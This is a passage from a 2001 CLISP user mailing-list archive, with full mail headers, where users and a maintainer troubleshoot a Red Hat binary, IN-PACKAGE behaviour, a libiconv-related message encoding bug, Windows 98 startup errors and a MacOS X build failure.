I can > supply it if there's interest. where can I download it from ? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Linux - find out what you've been missing while you've been rebooting Windows From youngde@nc.rr.com Fri Apr 06 15:22:30 2001 Received: from fe8.southeast.rr.com ([24.93.67.55] helo=mail8.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14lecf-00046S-00 for ; Fri, 06 Apr 2001 15:22:30 -0700 Received: from tinian.linuxnet.hom ([24.162.235.152]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Fri, 6 Apr 2001 18:18:30 -0400 Received: (from dey@localhost) by tinian.linuxnet.hom (8.9.3/8.9.3) id SAA18656; Fri, 6 Apr 2001 18:19:27 -0400 Date: Fri, 6 Apr 2001 18:19:27 -0400 Message-Id: <200104062219.SAA18656@tinian.linuxnet.hom> X-Authentication-Warning: tinian.linuxnet.hom: dey set sender to youngde@nc.rr.com using -f From: "David E. Young" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 06 Apr 2001 17:03:07 -0500) Subject: Re: [clisp-list] Binary of 2.25.1 for Redhat Reply-to: youngde@nc.rr.com References: <200104062116.RAA18512@tinian.linuxnet.hom> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: >> * In message <200104062116.RAA18512@tinian.linuxnet.hom> * On the >> subject of "[clisp-list] Binary of 2.25.1 for Redhat" * Sent on >> Fri, 6 Apr 2001 17:16:11 -0400 * Honorable "David E. Young" >> writes: >> >> I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I >> can supply it if there's interest. Sam> where can I download it from ? You can use anonymous ftp to the LISA project site: ftp://lisa.sourceforge.net/pub/lisa/ Regards, -- ----------------------------------------------------------------- David E. Young Fujitsu Network Communications (defun real-language? (lang) (de.young@computer.org) (eq lang 'LISP)) "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Fri Apr 06 16:54:11 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14lg3P-0007B4-00 for ; Fri, 06 Apr 2001 16:54:11 -0700 Received: from xchange.com (slip166-72-86-158.ma.us.prserv.net[166.72.86.158]) by prserv.net (out4) with ESMTP id <2001040623540620405rdmmte>; Fri, 6 Apr 2001 23:54:08 +0000 To: youngde@nc.rr.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Binary of 2.25.1 for Redhat References: <200104062116.RAA18512@tinian.linuxnet.hom> <200104062219.SAA18656@tinian.linuxnet.hom> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200104062219.SAA18656@tinian.linuxnet.hom> Date: 06 Apr 2001 18:53:51 -0500 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200104062219.SAA18656@tinian.linuxnet.hom> > * On the subject of "Re: [clisp-list] Binary of 2.25.1 for Redhat" > * Sent on Fri, 6 Apr 2001 18:19:27 -0400 > * Honorable "David E. Young" writes: > > >> I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I > >> can supply it if there's interest. > > Sam> where can I download it from ? > > You can use anonymous ftp to the LISA project site: > > ftp://lisa.sourceforge.net/pub/lisa/ thanks - I just put it into the usual CLISP distribution places, so you should probably remove it (to avoid confusion). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on God had a deadline, so He wrote it all in Lisp. From amoroso@mclink.it Tue Apr 10 02:07:01 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14mu72-0002Ky-00 for ; Tue, 10 Apr 2001 02:07:00 -0700 Received: from net145-069.mclink.it (net145-069.mclink.it [195.110.145.69]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f3A96v429498 for ; Tue, 10 Apr 2001 11:06:57 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Date: Tue, 10 Apr 2001 11:07:12 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Uninterned symbol as argument to IN-PACKAGE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: If my understanding of the HyperSpec is correct, the IN-PACKAGE form in the following transcript (CLISP 2000-03-06 under Red Hat Linux 6.2) should not generate an error: [1]> (defpackage #:foo) # [2]> (in-package #:foo) *** - EVAL: variable #:FOO has no value 1. Break [3]> What gives? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From sds@gnu.org Tue Apr 10 07:15:38 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14myvi-0005WZ-00 for ; Tue, 10 Apr 2001 07:15:38 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA23251; Tue, 10 Apr 2001 10:15:35 -0400 (EDT) X-Envelope-To: To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Uninterned symbol as argument to IN-PACKAGE References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 10 Apr 2001 10:13:01 -0400 Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Uninterned symbol as argument to IN-PACKAGE" > * Sent on Tue, 10 Apr 2001 11:07:12 +0200 > * Honorable Paolo Amoroso writes: > > If my understanding of the HyperSpec is correct, the IN-PACKAGE form > in the following transcript (CLISP 2000-03-06 under Red Hat Linux 6.2) > should not generate an error: > > [1]> (defpackage #:foo) > # > [2]> (in-package #:foo) > > *** - EVAL: variable #:FOO has no value > 1. Break [3]> > > What gives? 1. you are using a version 2 releases old. please upgrade. 2. CLISP has two IN-PACKAGE symbols: LISP:IN-PACKAGE, a CLtL1 function, and CL:IN-PACKAGE, an ANSI CL macro. You are in the USER package, which uses LISP, not in CL-USER, which uses CL. Thus: $ clisp -q -norc -p CL-USER [1]> (defpackage #:foo) # [2]> (in-package #:foo) # FOO[3]> $ 3. The current CVS version removes this distinction - there is no CLtL1 support anymore and LISP is a nickname for COMMON-LISP and USER is a nickname for COMMON-LISP-USER. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Small languages require big programs, large languages enable small programs. From bernard.urban@meteo.fr Wed Apr 11 10:08:12 2001 Received: from cadillac.meteo.fr ([137.129.1.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14nO6E-0007ky-00 for ; Wed, 11 Apr 2001 10:08:10 -0700 Received: from goudurix.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id RAA06167; Wed, 11 Apr 2001 17:07:59 GMT Received: from meteo.fr (localhost [127.0.0.1]) by goudurix.meteo.fr (8.8.8+Sun/8.8.8) with ESMTP id RAA19472; Wed, 11 Apr 2001 17:05:20 GMT Message-ID: <3AD48ECF.15A33202@meteo.fr> Date: Wed, 11 Apr 2001 19:05:20 +0200 From: bernard URBAN X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.6 sun4m) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] internationalization problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I have send this message some days again as a bug, but it seems to have disappeared from the bug list ? So it is here again: Hello! For clisp-2.25 (installed without problems with gcc-2.95.3): $ clisp -q -norc [1]> (machine-instance) "sylla [137.129.xxx.xxx]" [2]> (machine-version) "SUN4US" [3]> (quit) $ clisp -q -norc [1]> (/ 0) *** - division by zero 1. Break [2]> (quit) $ clisp -q -norc -L francais [1]> (/ 0) *** - Message inimprimable 1. Break [2]> (quit) $ clisp -q -norc -L deutsch [1]> (/ 0) *** - Division durch Null 1. Break [2]> (quit) $ clisp -q -norc -L spanish [1]> (/ 0) *** - invalid byte #xF3 in CHARSET:UTF-8 conversion, not a Unicode-16 1. Break [2]> (quit) $ The problem seems to be triggered by messages containing accented letters. Any hint ? Regards. -- Bernard Urban I add that clisp-2.25.1 exhibits the same behaviour. And about internationalization, how do the clisp developpers edit their files with all these Unicode codings ? Basic emacs does not seem to understand Unicode. -- Bernard Urban From sds@gnu.org Wed Apr 11 10:55:59 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14nOqV-0003oB-00 for ; Wed, 11 Apr 2001 10:55:59 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA10607; Wed, 11 Apr 2001 13:55:55 -0400 (EDT) X-Envelope-To: To: bernard URBAN Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem References: <3AD48ECF.15A33202@meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3AD48ECF.15A33202@meteo.fr> Date: 11 Apr 2001 13:53:25 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3AD48ECF.15A33202@meteo.fr> > * On the subject of "[clisp-list] internationalization problem" > * Sent on Wed, 11 Apr 2001 19:05:20 +0200 > * Honorable bernard URBAN writes: > > $ clisp -q -norc -L francais > [1]> (/ 0) > *** - Message inimprimable > *** - invalid byte #xF3 in CHARSET:UTF-8 conversion, > not a Unicode-16 Please try the following: - build libiconv (part of CLISP) - install libiconv - reconfigure and re-build CLISP. > And about internationalization, how do the clisp > developpers edit their files with all these Unicode codings ? > Basic emacs does not seem to understand Unicode. Emacs 21 does - that's what I use (I have access to the CVS). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on MS: Brain off-line, please wait. From glauber.ribeiro@experian.com Wed Apr 11 13:28:28 2001 Received: from mailhub1.experian.com ([167.107.229.201]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14nRE4-0003zc-00 for ; Wed, 11 Apr 2001 13:28:28 -0700 Received: from expexch1.ora.experian.com (exchange.experian.com [167.107.228.135]) by mailhub1.experian.com (8.9.3/8.9.3) with ESMTP id NAA20852 for ; Wed, 11 Apr 2001 13:27:50 -0700 (PDT) Received: by EXPEXCH1 with Internet Mail Service (5.5.2653.19) id <2WC5ZK6Y>; Wed, 11 Apr 2001 13:29:11 -0700 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" Date: Wed, 11 Apr 2001 13:28:02 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Problem with Windows98: SYSTEM::%EXPAND-FORM: invalid form (".BA T") Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, i just installed the latest version of CLISP (2.25.1) in my Windows 98 machine. I used the pre-compiled binary from the CLISP Web site. I have 2 problems: (1) when installing, when i do (load "src/config.fas"), it complains that i'm overwriting the CLHS-ROOT function, and drops me in the debugger. If i get past this problem, then (2) when i run specifying a file in the command-line (for example: clisp file.lisp), i get the following error: SYSTEM::%EXPAND-FORM: invalid form (".BAT") and instead of executing the file, CLISP puts me in the read-eval loop. If i (load "file.lisp") in the read-eval loop, it works fine. I'm suspecting that this is happening in init.lisp, but i'm not sure. It doesn't make any difference if i run clisp from my .bat file or if i run the lisp.exe -M lispinit.mem directly. Has anyone else seen these problems? Any solutions? glauber From Bernard.Urban@meteo.fr Thu Apr 12 07:48:23 2001 Received: from cadillac.meteo.fr ([137.129.1.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14niOT-0008R4-00 for ; Thu, 12 Apr 2001 07:48:21 -0700 Received: from goudurix.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id OAA29372 for ; Thu, 12 Apr 2001 14:48:02 GMT Received: (from bernard@localhost) by goudurix.meteo.fr (8.8.8+Sun/8.8.8) id OAA03307; Thu, 12 Apr 2001 14:45:22 GMT X-Authentication-Warning: goudurix.meteo.fr: bernard set sender to bernard@goudurix using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem From: bernard URBAN Date: 12 Apr 2001 16:45:22 +0200 Message-ID: <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> Lines: 55 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: >> * In message <3AD48ECF.15A33202@meteo.fr> * On the subject of >> "[clisp-list] internationalization problem" * Sent on Wed, 11 >> Apr 2001 19:05:20 +0200 * Honorable bernard URBAN >> writes: >> >> $ clisp -q -norc -L francais [1]> (/ 0) *** - Message >> inimprimable *** - invalid byte #xF3 in CHARSET:UTF-8 >> conversion, not a Unicode-16 Sam> Please try the following: - build libiconv (part of CLISP) - Sam> install libiconv - reconfigure and re-build CLISP. Done, but problem remains the same. Outside Solaris, I also have the same problem on a Linux (Debian) box. On Solaris, I tried the clisp-2.25.1 binaries, same problem. More details on Solaris: libiconv.a and libintl.a are build in base and full directories. There are Sun /usr/lib/libintl.so and /usr/include/iconv.h on my Solaris box. clisp insists on building libiconv.a, even if it detects this system iconv. It would be helpful to start from a platform where these things work. I guess that Bruno Haible uses the german interface and it works for him, so what is he using for his computer ? Last time I had a working internationalized clisp was on HP-UX (version from 1999). This bug is really annoying to investigate, as by definition, most messages printing in the clisp debugger are subject to the same error, so you have an error in the debugger itself, and so all things end messed up. At least, I have no infinite loop... Perhaps printing in the debugger should be (optionally) formatted without internationalization ? >> And about internationalization, how do the clisp developpers >> edit their files with all these Unicode codings ? Basic emacs >> does not seem to understand Unicode. Sam> Emacs 21 does - that's what I use (I have access to the CVS). Ok, you are ahead of the crowd... I will try some japanese (!) MULE extension which is rumored to do Unicode. Thank you for trying to help on this topic. Regards. -- Bernard Urban From joswig@corporate-world.lisp.de Thu Apr 12 08:32:12 2001 Received: from lispm.lisp.de ([194.163.195.72] helo=CORPORATE-WORLD.lisp.de) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14nj4s-00079B-00 for ; Thu, 12 Apr 2001 08:32:10 -0700 Received: from PBG3.lisp.de by CORPORATE-WORLD.lisp.de via INTERNET with SMTP id 19474; 8 Apr 2001 02:20:25+0200 Mime-Version: 1.0 X-Sender: joswig@194.163.195.72 Message-Id: Date: Sun, 8 Apr 2001 02:18:32 +0200 To: clisp-list@lists.sourceforge.net From: Rainer Joswig Content-Type: text/plain; charset="us-ascii" Subject: [clisp-list] Problem compiling CLISP under MacOS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I've tried to compile CLISP 2.25.1 under MacOS X (10.0.1 4L7) with Apple's developer tools installed. I did: [localhost:/Lisp/CLisp/clisp-2.25.1] joswig% ./configure darwin-clisp executing darwin-clisp/configure ... creating cache ./config.cache checking for gcc... no checking for cc... cc checking whether the C compiler (cc ) works... yes checking whether the C compiler (cc ) is a cross-compiler... no checking whether we are using GNU C... yes checking how to run the C preprocessor... cc -O -E -traditional-cpp checking for AIX... no checking whether using GNU C... yes checking whether using C++... no checking whether using ANSI C... yes checking whether CPP likes indented directives... yes checking whether CPP likes empty macro arguments... yes checking for underscore in external names... yes checking for ranlib... ranlib checking for a BSD compatible install... /usr/bin/install -c checking how to copy files... cp -p checking how to make hard links... ln checking whether ln -s works... yes checking how to make hard links to symlinks... ln checking for groff... groff checking for getpwnam... yes checking for DYNIX/ptx libseq or libsocket... no checking whether gethostent requires -lnsl... no checking whether setsockopt requires -lsocket... no checking whether CC works at all... yes checking host system type... powerpc-apple-darwin1.3 ... creating Makefile creating config.h case "darwin1.3" in \ aix3*) syntax=aix.old;; \ aix*) syntax=aix.new;; \ linux*) syntax=linux;; \ *) syntax=sysv4;; \ esac; \ /bin/sh ./libtool --mode=compile cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \ cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-${syntax}.lo ; \ if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o avcall-rs6000.o; fi cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o avcall-rs6000.c:3:Expected comma after segment-name avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ). avcall-rs6000.c:5:Unknown pseudo-op: .type ... After some more errors in this file it then fails... Any ideas? Rainer Joswig -- Rainer Joswig Email: mailto:joswig@corporate-world.lisp.de From sds@gnu.org Thu Apr 12 08:52:00 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14njO4-00033R-00 for ; Thu, 12 Apr 2001 08:52:00 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA01004; Thu, 12 Apr 2001 11:51:56 -0400 (EDT) X-Envelope-To: To: bernard URBAN Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem References: <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> Date: 12 Apr 2001 11:49:58 -0400 Message-ID: Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> > * On the subject of "Re: [clisp-list] internationalization problem" > * Sent on 12 Apr 2001 16:45:22 +0200 > * Honorable bernard URBAN writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> Please try the following: - build libiconv (part of CLISP) - > Sam> install libiconv - reconfigure and re-build CLISP. > > Done, but problem remains the same. Here is what you should have done: 1) make distclean in the CLISP directory. 2) cd libiconv ./configure --disable-shared make make install make distclean 3) set the environment variables CPPFLAGS=-I/..../include so that it will find LDFLAGS=-L/..../lib so that it will find libiconv.a and export them Here "...." is the path where the previous "make install" installed the files iconv.h and libiconv.a 4) back to CLISP main directory ./configure and continue as usual Does this help? > More details on Solaris: > libiconv.a and libintl.a are build in base and full directories. > There are Sun /usr/lib/libintl.so and /usr/include/iconv.h on > my Solaris box. CLISP insists on building libiconv.a, even if it > detects this system iconv. CLISP uses some GNU libiconv features not present in the Solaris libiconv. > It would be helpful to start from a platform where these things work. > I guess that Bruno Haible uses the german interface and it works for > him, so what is he using for his computer ? the above instructions are directly from him. apparently, libiconv has to be installed on the system when CLISP is being configured. Good luck - and thanks for using CLISP! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on All generalizations are wrong. Including this. From sds@gnu.org Thu Apr 12 11:31:31 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14nlsR-000575-00 for ; Thu, 12 Apr 2001 11:31:31 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA05181; Thu, 12 Apr 2001 14:31:20 -0400 (EDT) X-Envelope-To: To: Rainer Joswig Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLISP under MacOS X References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 12 Apr 2001 14:29:17 -0400 Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, > * In message > * On the subject of "[clisp-list] Problem compiling CLISP under MacOS X" > * Sent on Sun, 8 Apr 2001 02:18:32 +0200 > * Honorable Rainer Joswig writes: > > I've tried to compile CLISP 2.25.1 under MacOS X (10.0.1 4L7) with > Apple's developer tools installed. > > cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-${syntax}.lo ; \ > if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o avcall-rs6000.o; fi > cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o > avcall-rs6000.c:3:Expected comma after segment-name > avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ). > avcall-rs6000.c:5:Unknown pseudo-op: .type this means that FFI has not been ported to MacOS X yet - this should not prevent you from building the rest of CLISP. 1. specify --with-no-dynamic-ffi to configure 2. make sure that /bin/sh is present and good (or set CONFIG_SHELL to /bin/ksh or /bin/bash). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Profanity is the one language all programmers know best. From Bernard.Urban@meteo.fr Fri Apr 13 06:19:28 2001 Received: from cadillac.meteo.fr ([137.129.1.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14o3Tx-00013X-00 for ; Fri, 13 Apr 2001 06:19:25 -0700 Received: from goudurix.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id NAA10778 for ; Fri, 13 Apr 2001 13:19:13 GMT Received: (from bernard@localhost) by goudurix.meteo.fr (8.8.8+Sun/8.8.8) id NAA17077; Fri, 13 Apr 2001 13:16:32 GMT X-Authentication-Warning: goudurix.meteo.fr: bernard set sender to bernard@goudurix using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem References: <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> From: bernard URBAN Date: 13 Apr 2001 15:16:32 +0200 In-Reply-To: Sam Steingold's message of "12 Apr 2001 11:49:58 -0400" Message-ID: <88wv8pj5xr.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> Lines: 65 User-Agent: Gnus/5.0805 (Gnus v5.8.5) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: >> * In message >> <88n19mjhx9.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> >> * On the subject of "Re: [clisp-list] internationalization >> problem" * Sent on 12 Apr 2001 16:45:22 +0200 * Honorable >> bernard URBAN writes: >> >> >>>>> "Sam" == Sam Steingold writes: >> Sam> Please try the following: - build libiconv (part of CLISP) - Sam> install libiconv - reconfigure and re-build CLISP. >> Done, but problem remains the same. Sam> Here is what you should have done: Sam> 1) make distclean in the CLISP directory. 2) cd libiconv Sam> ./configure --disable-shared make make install make distclean Sam> 3) set the environment variables CPPFLAGS=-I/..../include so Sam> that it will find LDFLAGS=-L/..../lib so that it Sam> will find libiconv.a and export them Here "...." is the path Sam> where the previous "make install" installed the files iconv.h Sam> and libiconv.a 4) back to CLISP main directory ./configure Sam> and continue as usual Sam> Does this help? Yes, it works !!! (tested on Solaris, I will try on Linux Debian later) In all cases, clisp builds the libiconv.a in its distribution, so it does not make sense to TEST for an external iconv in the configure process. >> More details on Solaris: libiconv.a and libintl.a are build in >> base and full directories. There are Sun /usr/lib/libintl.so >> and /usr/include/iconv.h on my Solaris box. CLISP insists on >> building libiconv.a, even if it detects this system iconv. Sam> CLISP uses some GNU libiconv features not present in the Sam> Solaris libiconv. >> It would be helpful to start from a platform where these things >> work. I guess that Bruno Haible uses the german interface and >> it works for him, so what is he using for his computer ? Sam> the above instructions are directly from him. Sam> apparently, libiconv has to be installed on the system when Sam> CLISP is being configured. Perhaps to be put in the README: the emacs package Mule-UCS-0.83 extends emacs-20 to read Unicode files. And to finish some buglet when compiling clisp with the gcc version: $ gcc -v Reading specs from /export/home/urban/lib/gcc-lib/sparc-sun-solaris2.7/2.95.3/specs gcc version 2.95.3 20010315 (release) $ which does not understand '-Wreturn-type' compilation option. Regards. -- Bernard Urban From sds@gnu.org Wed Apr 18 15:03:06 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14q02U-0006Qy-00 for ; Wed, 18 Apr 2001 15:03:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA24570; Wed, 18 Apr 2001 17:03:01 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: "Ribeiro, Glauber" Cc: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] Problem with Windows98: SYSTEM::%EXPAND-FORM: invalid form (".BA T") References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 18 Apr 2001 18:00:29 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net 